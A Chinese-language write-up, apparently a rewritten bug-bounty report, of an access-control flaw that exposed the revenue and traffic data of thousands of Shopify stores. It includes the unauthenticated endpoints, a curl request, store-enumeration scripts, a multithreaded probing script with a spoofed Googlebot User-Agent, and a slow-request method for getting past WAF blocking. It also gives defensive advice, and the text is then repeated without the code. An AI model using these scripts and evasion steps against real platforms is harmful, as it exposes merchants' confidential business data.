我是如何获得数千家Shopify商店的收入情况和流量数据?
字数 1046 2025-08-26 22:11:22

Shopify商店数据泄露漏洞分析与利用技术详解

漏洞概述

本教学文档详细分析了一个Shopify平台上的IDOR(不安全的直接对象引用)漏洞,该漏洞允许攻击者获取数千家Shopify商店的收入和流量数据。漏洞存在于Shopify Exchange Marketplace应用中,通过构造特定API请求可获取敏感商业数据。

漏洞发现过程

初始发现

  1. 通过自动化监控Shopify资产发现可疑API端点:

    • /shops/[storeName]/traffic_data.json
    • /shops/[storeName]/revenue_data.json
  2. 测试发现直接访问这些端点可获取商店数据:

    curl -s https://exchange.shopify.com/shops/$storeName/revenue_data.json
    

漏洞验证

  1. 初步测试显示部分商店数据可被获取
  2. 新建商店测试返回404,表明漏洞存在条件限制
  3. 需要构建大量商店名单进行验证

技术实现细节

商店名单获取方法

方法一:DNS反查

  1. 发现[storeName].myshopify.com的CNAME记录指向shops.myshopify.com
  2. 使用反向IP查询获取关联域名:
    import requests
    import json
    
    def rev(dom):
        _api = "https://domains.yougetsignal.com/domains.php"
        _data = {'remoteAddress': dom}
        response = requests.post(_api, data=_data).content
        _json = json.loads(response)
        return _json['domainArray']
    

方法二:FDNS数据利用

  1. 使用公共DNS转发数据获取更大规模的商店名单
  2. 查找所有CNAME指向shops.myshopify.com的记录
  3. 可获取数百万级别的商店数据

漏洞利用脚本

import requests
import bs4 as bs
from concurrent.futures import ThreadPoolExecutor

_headers = {
    'User-Agent': 'Googlebot/2.1 (+http://www.google.com/bot.html)',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
}

def myshopify(shops):
    try:
        source = requests.get("https://" + shops).text
        soup = bs.BeautifulSoup(source, 'html.parser')
        scripts = soup.find_all('script')
        for script in scripts:
            if 'window.Shopify.Checkout.apiHost' in script.text:
                index1 = script.text.index('"')
                index2 = script.text.index('myshopify')
                StoreName = script.text[index1 + 1:index2 - 2]
                with open('shops.txt', 'a') as output:
                    output.write(StoreName + "\n")
    except:
        pass

def almostvuln(StoreName):
    POC_URL = "https://exchangemarketplace.com/shops/{}/revenue_data.json".format(StoreName)
    try:
        _Response = requests.get(POC_URL, headers=_headers, verify=False, allow_redirects=True)
        if _Response.status_code in [200, 304]:
            vuln_stores.append(StoreName)
            print(StoreName)
    except:
        pass
    return vuln_stores

if __name__ == '__main__':
    try:
        shops = [line.rstrip('\n') for line in open('wordlist.txt')]
        with ThreadPoolExecutor(max_workers=50) as executor:
            executor.map(myshopify, shops)
        
        vuln_stores = [line.rstrip('\n') for line in open('shops.txt')]
        with ThreadPoolExecutor(max_workers=50) as executor1:
            executor1.map(almostvuln, vuln_stores)
    except KeyboardInterrupt:
        print("")

绕过WAF限制

  1. 初始大规模请求导致403错误(IP被封禁)
  2. 改用bash脚本单线程慢速请求绕过速率限制
  3. 最终成功获取数千家商店的完整销售数据

漏洞影响分析

  1. 影响范围:安装了Shopify Exchange App的所有商家
  2. 数据类型
    • 月度收入数据(2015年至今)
    • 流量数据
  3. CVSS评分:7.5(高危)
  4. 利用条件:无需任何特权或用户交互

漏洞根本原因

  1. Shopify Exchange App(商家应用)的安全缺陷
  2. API端点未实施适当的访问控制
  3. 敏感数据接口未进行身份验证

防御建议

  1. API安全

    • 实施严格的访问控制
    • 添加身份验证机制
    • 对敏感数据进行加密
  2. 监控措施

    • 异常访问模式检测
    • API调用频率限制
  3. 开发实践

    • 安全代码审查
    • 自动化API安全测试
  4. 应急响应

    • 快速漏洞修复机制
    • 及时通知受影响用户

总结

本案例展示了如何通过系统化的安全研究方法发现高危漏洞。关键点包括:

  1. 持续监控目标资产变化
  2. 自动化工具与手动验证结合
  3. 大规模数据分析技术
  4. 绕过防御机制的技巧
  5. 完整的漏洞证明过程

此漏洞的发现和报告过程也强调了负责任的漏洞披露原则,以及与厂商良好沟通的重要性。

Shopify商店数据泄露漏洞分析与利用技术详解 漏洞概述 本教学文档详细分析了一个Shopify平台上的IDOR(不安全的直接对象引用)漏洞,该漏洞允许攻击者获取数千家Shopify商店的收入和流量数据。漏洞存在于Shopify Exchange Marketplace应用中,通过构造特定API请求可获取敏感商业数据。 漏洞发现过程 初始发现 通过自动化监控Shopify资产发现可疑API端点: /shops/[storeName]/traffic_data.json /shops/[storeName]/revenue_data.json 测试发现直接访问这些端点可获取商店数据: 漏洞验证 初步测试显示部分商店数据可被获取 新建商店测试返回404,表明漏洞存在条件限制 需要构建大量商店名单进行验证 技术实现细节 商店名单获取方法 方法一:DNS反查 发现 [storeName].myshopify.com 的CNAME记录指向 shops.myshopify.com 使用反向IP查询获取关联域名: 方法二:FDNS数据利用 使用公共DNS转发数据获取更大规模的商店名单 查找所有CNAME指向 shops.myshopify.com 的记录 可获取数百万级别的商店数据 漏洞利用脚本 绕过WAF限制 初始大规模请求导致403错误(IP被封禁) 改用bash脚本单线程慢速请求绕过速率限制 最终成功获取数千家商店的完整销售数据 漏洞影响分析 影响范围 :安装了Shopify Exchange App的所有商家 数据类型 : 月度收入数据(2015年至今) 流量数据 CVSS评分 :7.5(高危) 利用条件 :无需任何特权或用户交互 漏洞根本原因 Shopify Exchange App(商家应用)的安全缺陷 API端点未实施适当的访问控制 敏感数据接口未进行身份验证 防御建议 API安全 : 实施严格的访问控制 添加身份验证机制 对敏感数据进行加密 监控措施 : 异常访问模式检测 API调用频率限制 开发实践 : 安全代码审查 自动化API安全测试 应急响应 : 快速漏洞修复机制 及时通知受影响用户 总结 本案例展示了如何通过系统化的安全研究方法发现高危漏洞。关键点包括: 持续监控目标资产变化 自动化工具与手动验证结合 大规模数据分析技术 绕过防御机制的技巧 完整的漏洞证明过程 此漏洞的发现和报告过程也强调了负责任的漏洞披露原则,以及与厂商良好沟通的重要性。